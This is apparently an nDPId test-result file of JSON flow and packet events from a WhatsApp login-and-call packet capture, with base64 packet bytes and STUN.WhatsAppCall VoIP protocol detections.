+00473{"flow_id":17,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582231,"pkt_ts_usec":59571,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"xiwDYGpkAPS5Jrv0CABFAABNFytAAEAGDMHAqAIEEa1CZsA0AbuMr4cpfNQ9FlAYQACRxAAAFgMDACDpSNsN+k7pEGWvTEDr9oMvFXB7oi2iembpqqbxsREpaA=="} +02377{"flow_id":17,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582231,"pkt_ts_usec":61447,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"xiwDYGpkAPS5Jrv0CABFAAXIIwVAAEAG+2vAqAIEEa1CZsA0AbuMr4dOfNQ9FlAQQABIgwAAFwMDB3guHVVPGUCz\/ZGsP4DbmzExlxe\/I9m9sFAMb4OtRfC4TBuTQ76H2fvU5wSpus9lV9Pih4OA8672owEzMvbusd8wM5xZkE0Yk\/nqrp19Ik54glfbV8ZeulDRtMB3Hv9krD9yd1Zfn4PZEHWSqRX+qWLJ8DYUATtBufN4sWxWv42GMv+WA1dK5E1Bs\/ehXLtlcEXxbhnlr0za8OHaKw8rAh6v360kUhVGbgWO6mIsOoz\/CzlTvzwL8KQ0Mipv65EH3u3CYJCzLnpixc6QoYiypWS\/gvKZK8CdrmTgIKXLrkNOQU\/p2DIVWR+YwyNzcqmHhnosZMAt2iYmvHBFHBmNI2DRaTZBNe2UPzVDvguDJ\/7XpEdJNKOfRZWaOQefffmKo6kwNXIy3qUw6ENsHBJ4gd3MMSA820i7KiwGM6JObpk2YLsuipEolR06chIOc0ztT3N9SogSgxkSedoVousx9udnnkiszxPhyFY\/qtMl+VZ3zQFlpWjfHvbQyo+1MuXyxFv0loF2pj\/UTKZvKjf63a5Z8BphQN2TYj+aYWLAX4xUHaEZ0GdrN0rI3lHXpF5hXRfnoABsV6oMEZtsyDfG0OcvRiYXwWLLabRRcL7R0Yj58Kdo\/++sqwQ5m3Dw1O5muMoIh7Q07aR4jRwnPAoGt60+\/lvWsV8AWxC6NZIlOVL4EOuuXUa4prBe7XsklHAG6cMv+uEPUtsj9MJrFm\/\/cLPy13yxRx3Zg593dH05FZiMFyJqBNoVdBK15OybdX8m2tOabpLF1RvWvYn0wutj00Uj97\/xCVoZ+DY9b7MlLzw1RE4xJO9qY7W5fHz8z\/Uvv0jT0r+6mCi3DYwCRFe\/NxLC0fx8oajU\/wzmqfkGJxfbmfMHIpA2m7hDZt+W06dW6R0ivb4IoIyyTJcrMCQRgcklPoZgV+ZAaO5MvsmsJ3540slPnUaNxKCRJAlKWmlk\/QytxtSScnB6y\/TRN3NdOU+xu6NOXzz26tES3bJy+LXX7d+8hHmvdnql1j18BugnnyYCQH7mwXB5+4NIN9903x1FI4yJCIDkcCSlavj8\/TJhevIVY9DjI\/HuXfcxy+9KpPs2B2MNTzbEaWzAyZF2rZ3y5tvtwYPAkH0\/GkS8D7uWElIwPIY7QLlo9n3oEFmbV1UQya1CZ7BrXPdyLmHi3Q44Vps0lzoAOR83vS0yJckVktkM5q5MLNdWu+1dnYGywvvBOEjZhTTWNOcxawe+YrmQS1uMkdHji2mvVikZB7b\/M0MoVtOuoK6BopKTObMQqV+2mN6IJcjCrPDJbr3etKuhOFfV67FMXYbmVp9R\/SCL6y++OKyIkQeAgs8bMnuMH04kzmI1uZEDo3RHPYdNe8yTgEUHnZNsqLd5bXSSmQ5kyKAKGLllsGimFVwX7BfuiabhNqj4qgpRV0d8iAvmmFf4BtIsk9AidJcwc4oWmJTkwx5\/jjJhrqtB+R+VU7XVU2FmRFOFonxAroj2TplVbWhQn96kZ5eqC9O2n29OI5Ge7S7EhNOGNSPNSxMFED03AY8MCHtyR9B+4tI5BQJ2UArT9vy6ulS8rEhwNHGzTi6nfEL7Vbi2FLT9r9FFMGRM6NHxTiqerRBSV\/2OMC8NHyMxm7C\/B17e7YTQTilT7NOsVD6itcmJ0WSYzFh3Z6RPAMkp0xLtgjhEOGe+gZ84zwAjEZJZ+NgIVfqUyn+pSJKuZgI7+\/Tubfj1pbLOhkzt5TF+y1CNEaJXbvrRW8FX4YbyVP5ceGXsgQ2t49HIinve+HC6pfpFW2drVmAzXvZS+iBH0DYWaffuxXOx8IzFtjjSNyQiQumrN2k5zzDqREJzTgvNA2RXMANfLWD5tLkbT0Kn4Oba1zgCm\/At9kqNHo8XSGpz0LZPOwAbBrY3QhgwjzCW5fro8xeAdgcd"} +01070{"flow_id":17,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":155,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582231,"pkt_ts_usec":61714,"pkt_caplen":531,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":531,"pkt_l4_len":497,"pkt":"xiwDYGpkAPS5Jrv0CABFAAIFNTxAAEAG7PfAqAIEEa1CZsA0AbuMr4zufNQ9FlAYQAAc4gAAsYdNjfNGxmEFECNFGBW4XvgpGiYJ0JwiGAwdKVeHAu79PYIogVWOIM69cPMuSkDd3gzQ9eeIr2dR89vtZBMsmEhjpU61cly+p1iMWhrRKjYoUZa9iexbCEf\/XoNjAlhDth7vTa9Lm8V\/vCdUr1YglXeST2p+cwM2Am\/fTLtCprPl1kRLV5ZLV2tJI6FO1V6Drtmkhou0YZh\/CNXuUVWMBaXY2hgU9JV2SlAm3K9qU5VMxy94\/KubOkQwEdUFMxzXJvghzvs0mCkCAXWl46YINFz2Z9pRjHMJTwBXIQ8vnfImK6VTP3rHnGeAzpRSe8AXTtAuwOds0ZiifLNoW6Kmz2IGFe\/Iw6NzLNpqh0DAt89iL\/Ua0rfIx0QjCK+JUh3WM6yg6ynyHJymUjMxkdcD43Es+TmbcExTT3v743rxdk7FerIeY2ayYobPKqA92\/eLpyPL6Qgc\/+sbJzKFIRl2veyLdAwOPpH6i7H5V46yKKB2BnYMjS1piWhyWn0K8HkftfUT95v5mGRkqjNh8Lr5V1Y+WF+iALZPzAtUWt2LN5XlczFk74L4heMd81V4CsUTMfQ7qd++WffU8Ritl\/3z9vXXPk4p1udaKH3VekPUHLZLae40DewSVjGtVulj"} +01182{"flow_id":17,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582231,"pkt_ts_usec":63858,"pkt_caplen":610,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":610,"pkt_l4_len":576,"pkt":"xiwDYGpkAPS5Jrv0CABFAAJUPRdAAEAG5M3AqAIEEa1CZsA0AbuMr47LfNQ9FlAYQAAyzQAAFwMDAicr2\/eRSJOi6Al3SvFD7yeMbcGmkKshkZydWdXNi38CQoQFoleJiJ3GVAaEaulr2sqQFK5f99oLGrq6URIcc2mnkAkxw47W7nOrfH9aB5ti8gELqQlT4VM93FJfi7h0ALg2zFe38WfXzMLUYLWvLP9vWNKg9ktkwHrmUl+yqVBb+hOofgAueUBhN7DMBypDEE+DL46DpMs18SLOf8kUrRJY7m3yMx4yVK7moXMEwip2JcNkfj0MO5Q6irN\/WwSqCiAEPPKCXKmOj2KsABowhoNAaoljb8dR8XeoaLe4W6GF0yRLyukctazZdIv2yOewLkR8it\/NvwbSz49lbTJHlGGlvu1g3Oos97uScf3Lpq0TDbeHQy93f4eD07VoRhgHDcb3Yf3m+W4TDEN9R5i1y5oFc\/He\/MikMvpw0hYvkLKDbq1r0GC5mV+O04YGE0QfJolQz9IQu292HEsMB8dic5HfYbdYG\/PAPuvI1M8FneaDa0hBDLzKV9\/2PmlVtpo\/Ywjc87k9L2jMmOQtOg9NnNmvFHNk8N5XB8DmI\/NMp7enfSmtodcKqhMGBWe3rMMfPYzt\/MyCjczYgf0aAZG+\/Si00O53ARuQX6+wCNAnsEN1jOxApcUe5dlIgT8E7ThuwBiSO8ozNltEUsSQRdyoWVjem+AaGTG9oUqn\/CpPzpsDECp5aL1ug0idhl\/eXHnX9F2kr66EkrD9kmz2KqklE3\/nONrmvqqnLw=="} +00422{"flow_id":17,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582231,"pkt_ts_usec":197559,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAojFoAAO8GKLYRrUJmwKgCBAG7wDR81D0WjK+HKVAQC2n9+AAA"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":183,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1432582233314,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"93.186.135.8","src_port":49192,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582233,"pkt_ts_usec":314493,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0kh5AAEAGATfAqAIEXbqHCMAoAFBgmxszxhyTY4ARIABAdgAAAQEICi36RbdjLQIx"} +00437{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582233,"pkt_ts_usec":380398,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0ewoAADkGX0tduocIwKgCBABQwCjGHJNjYJsbNIAQAebnbwAAAQEICmMteVEt+kW3"} +00437{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582233,"pkt_ts_usec":490649,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0ewsAADkGX0pduocIwKgCBABQwCjGHJNjYJsbNIARAebnAQAAAQEICmMteb4t+kW3"} +00437{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582233,"pkt_ts_usec":517341,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0FgJAAEAGfVPAqAIEXbqHCMAoAFBgmxs0xhyTY4AQIADIcwAAAQEICi36RpljLXlR"} +00437{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":191,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582233,"pkt_ts_usec":518032,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0HhlAAEAGdTzAqAIEXbqHCMAoAFBgmxs0xhyTZIAQIADIBQAAAQEICi36RpljLXm+"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":199,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1432582233751,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.49","src_port":49191,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":199,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582233,"pkt_ts_usec":751156,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoI\/dAAEAG3k\/AqAIEEaxkMcAnAbsMJFozPw\/LbVAR\/\/9EkwAA"} +00423{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":202,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582233,"pkt_ts_usec":884833,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAo+xIAAO8GmDMRrGQxwKgCBAG7wCc\/D8ttDCRaNFARn\/6kkwAA"} +00424{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":203,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582233,"pkt_ts_usec":926720,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoy8lAAEAGNn3AqAIEEaxkMcAnAbsMJFo0Pw\/LblAQ\/\/9EkgAA"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":204,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1432582234869,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.52","src_port":49182,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":204,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582234,"pkt_ts_usec":869452,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAohHZAAEAGfc3AqAIEEaxkNMAeAbsiAVkzu7svv1AR\/\/9OvgAA"} +00422{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":206,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582235,"pkt_ts_usec":10449,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAoaq4AAO4GKZURrGQ0wKgCBAG7wB67uy+\/IgFZNFARn\/6uvgAA"} +00422{"flow_id":20,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":207,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582235,"pkt_ts_usec":28480,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAosCtAAEAGUhjAqAIEEaxkNMAeAbsiAVk0u7svwFAQ\/\/9OvQAA"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":210,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1432582235998,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.37","src_port":49181,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":210,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582235,"pkt_ts_usec":998968,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoLkpAAEAG1AjAqAIEEaxkJcAdAbtiYuGVG2ODH1AR\/\/\/TAgAA"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":211,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1432582235999,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.59","src_port":49180,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":211,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582235,"pkt_ts_usec":999137,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoEt9AAEAG713AqAIEEaxkO8AcAbueodpQe0gK3VAR\/\/+2UAAA"} +00422{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":212,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582236,"pkt_ts_usec":140915,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAoyysAAO8GyCYRrGQlwKgCBAG7wB0bY4MfYmLhllARn\/4zAwAA"} +00422{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":213,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582236,"pkt_ts_usec":144785,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAoKcoAAO4GanIRrGQ7wKgCBAG7wBx7SArdnqHaUVARn\/4WUQAA"} +00424{"flow_id":21,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":214,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582236,"pkt_ts_usec":282078,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoLwpAAEAG00jAqAIEEaxkJcAdAbtiYuGWG2ODIFAQ\/\/\/TAQAA"} +00423{"flow_id":22,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":215,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582236,"pkt_ts_usec":282161,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoODNAAEAGygnAqAIEEaxkO8AcAbueodpRe0gK3lAQ\/\/+2TwAA"} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":219,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1432582238790,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.100.14","src_port":51518,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00576{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":219,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":790823,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACarW0AAEARhl7AqAIEHw1kDsk+DZYAhpcUAAMAaiESpEIAAHUQ+ENDH9BeI3lAAABmAQCp9g36qkiVOtLQr3ViX6FsbDYXjEJ9QGAivtjborGILbaLFUctqtKwjyuh8hQDpfay6HpQUwtK9uAMfRAxRJKoeR4kQioyDnAbRIAxuEByQdpCzZp5JzNQR7k0c+gy5xI4fd1T"} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":219,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1432582238790,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.100.14","src_port":51518,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00576{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":790889,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACat4MAAEARfEjAqAIEHw1kDsk+DZYAhpcUAAMAaiESpEIAAHUQ+ENDH9BeI3lAAABmAQCp9g36qkiVOtLQr3ViX6FsbDYXjEJ9QGAivtjborGILbaLFUctqtKwjyuh8hQDpfay6HpQUwtK9uAMfRAxRJKoeR4kQioyDnAbRIAxuEByQdpCzZp5JzNQR7k0c+gy5xI4fd1T"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":221,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1432582238791,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.70.48","src_port":51518,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00576{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":791013,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACayJAAAEARiRnAqAIEHw1GMMk+DZYAho7CAAMAaiESpEIAACUBlIyWX5N55xRAAABmAQCp9g36qkiVOtLQr3ViX6FsbDYXjEJ9QGAivtjborGILbaLFUctqtKwjyuh8hQDpfay6HpQUwtK9uAMfRAxRJKoeR4kQioyDnAbRIAxuEByQdpCzZp5JzNQR7k0c+gy5xI4fd1T"} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":221,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1432582238791,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.70.48","src_port":51518,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00576{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":791094,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACaw2YAAEARjkPAqAIEHw1GMMk+DZYAho7CAAMAaiESpEIAACUBlIyWX5N55xRAAABmAQCp9g36qkiVOtLQr3ViX6FsbDYXjEJ9QGAivtjborGILbaLFUctqtKwjyuh8hQDpfay6HpQUwtK9uAMfRAxRJKoeR4kQioyDnAbRIAxuEByQdpCzZp5JzNQR7k0c+gy5xI4fd1T"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":223,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1432582238791,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.64.48","src_port":51518,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00578{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582238,"pkt_ts_usec":791235,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACa2EoAAEARf1\/AqAIEHw1AMMk+DZYAhnzzAAMAaiESpEIAAN5oNK0Wc\/NrxVVAAABmAQCp9g36qkiVOtLQr3ViX6FsbDYXjEJ9QGAivtjborGILbaLFUctqtKwjyuh8hQDpfay6HpQUwtK9uAMfRAxRJKoeR4kQioyDnAbRIAxuEByQdpCzZp5JzNQR7k0c+gy5xI4fd1T"} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":223,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1432582238791,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"31.13.64.48","src_port":51518,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} 